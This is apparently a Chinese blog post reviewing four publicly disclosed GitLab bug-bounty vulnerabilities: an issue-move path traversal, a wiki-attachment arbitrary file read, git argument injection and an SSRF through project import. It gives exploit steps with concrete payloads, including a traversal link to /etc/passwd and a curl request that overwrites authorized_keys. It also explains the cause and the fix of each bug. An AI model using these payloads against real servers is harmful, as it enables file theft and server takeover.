聊聊近期公开的几个GitLab高额奖金漏洞

最近HackerOne上公开了几个GitLab的漏洞,奖金还不低,一些漏洞细节也已经公开,大多是业务逻辑漏洞,学习下。

漏洞一:issue迁移导致跨目录读取任意文件

【漏洞利用过程】

1、创建两个项目

2、在第一个项目中添加issue,描述内容如下:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

3、将issue迁移至第二个项目

4、链接中的文件将被复制过去,用户可直接下载到/etc/passwd文件

【漏洞成因】

问题出在UploadsRewriter这个类中,在迁移issue时,它会重写markdown链接用来上传文件,漏洞出现在 lib/gitlab/gfm/uploads_rewriter.rb 中(居然是用ruby写的),对复制文件时未考虑到跨目录问题,导致可以上传任意文件到对应的链接上,进而被下载:

   @text.gsub(@pattern) do |markdown|
          file = find_file(@source_project, $~[:secret], $~[:file])
          break markdown unless file.try(:exists?)


          klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
          moved = klass.copy_to(file, target_parent)
...
   def find_file(project, secret, file)
        uploader = FileUploader.new(project, secret: secret)
        uploader.retrieve_from_store!(file)
        uploader
      end

【漏洞修复】

修复也很简单,添加对路径遍历的情况的检测就好:

漏洞二:Wiki附件上传导致任意文件读取

【漏洞利用过程】

1、创建新项目

2、创建wiki页面

3、在gitlab服务器创建测试文件:echo hello > /tmp/ggg;

4、攻击者本地创建垃圾文件:echo unused > /tmp/lala.txt

5、伪造参数上传wiki文件:

bash $ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'` {"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}} 

6、粘贴上面的markdown参数内容到wiki页面,然后下载文件

【漏洞成因】

GitLab Workhorse作为智能反向代理,专用于处理数据量大的请求,比如文件上传下载,它定义一组路由用来拦截对GitLab rails应用程序的访问, 也就是说,所有对 Rails 组件的请求都得经过 Workhorse,但有时也可能被绕过。

比如这里的用来上传wifi附件的漏洞CGI,正常情况下是指定本地文件路径参数file,但当你把这参数的字段名改成下面这些原本不存在的字段名时:

  • ;file

  • [file]

  • file]

  • ;file]

  • file]]

  • file;;

就会触发rewrite_filed的字段重置动作,导致原有字段file为nil空值,这会造成hash签名绕过,与此同时Multipart::Handler会去使用get参数中的file.path路径上传文件供下载,而不是特殊构造的[file]参数值。最终允许用户指定allowd_paths中的路径给rails组件处理,导致可以访问到以下路径范围内的本地磁盘文件:

       def allowed_paths
          [
            ::FileUploader.root,
            Gitlab.config.uploads.storage_path,
            JobArtifactUploader.workhorse_upload_path,
            File.join(Rails.root, 'public/uploads/tmp')
          ]
        end

作者是利用wiki中的上传文件链接来实现任意文件读取的,他使用 /proc/pid/fd/xx的方法读取其它用户的数据。

【漏洞修复】

如果gitlab把file.path参数放在post中应该也能防御,最后他们是添加对字段的检查判断,必须是顶级参数,而不是foo[bar]这种嵌套方式。

漏洞三:Git命令注入

【漏洞利用过程】

1、创建wiki页面,在commit消息中写入打算覆盖的文件内容,比如伪造ssh key

2、伪造ref参数发送请求,去篡改authorized_keys文件内容:

curl --header "PRIVATE-TOKEN: $TOKEN" 'http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/var/opt/gitlab/.ssh/authorized_keys' 

3、使用创建的ssh key登陆gitlab

【漏洞成因】

原因比较简单,就是ref参数直接被带入git命令中:

/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.wiki.git log --max-count=1 --output=/tmp/file

【漏洞修复】

很暴力简单,直接限制ref参数为--no-index,用户不再可控。

漏洞四:Issue评论附件SSRF漏洞

【漏洞利用过程】

1、创建新项目

2、创建issue

3、添加评论

4、导出项目

5、修改notes中的remote_attachment_url

6、重新打包导入

7、浏览评论,点击附件

【漏洞成因】

issue评论功能有添加附件下载的功能,这些下载地址正是由导出项目的project.json中的漏洞参数remote_attachment_url决定的,修改后重新导入会使其生效,再点击下载时就触发伪造请求,访问到内部服务。

【漏洞修复】

添加了remote_attachment_request_header的散列值,并将其添加到AttributeCleaner方法中,使得攻击者无法添加去伪造请求。

总结

多个gitlab漏洞都是基于对业务功能的了解,手工测试+代码审计挖到的可能性较大,每个功能与业务功能逻辑关系很紧密,像漏洞一,似乎你不看代码都不知道有拷贝文件,自然更然想到这个攻击点。像挖这种偏业务逻辑漏洞的,很大程度上取决你对业务功能和安全边界的理解,也耗体力,又看见是ruby写的,我瞬间都没想法了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值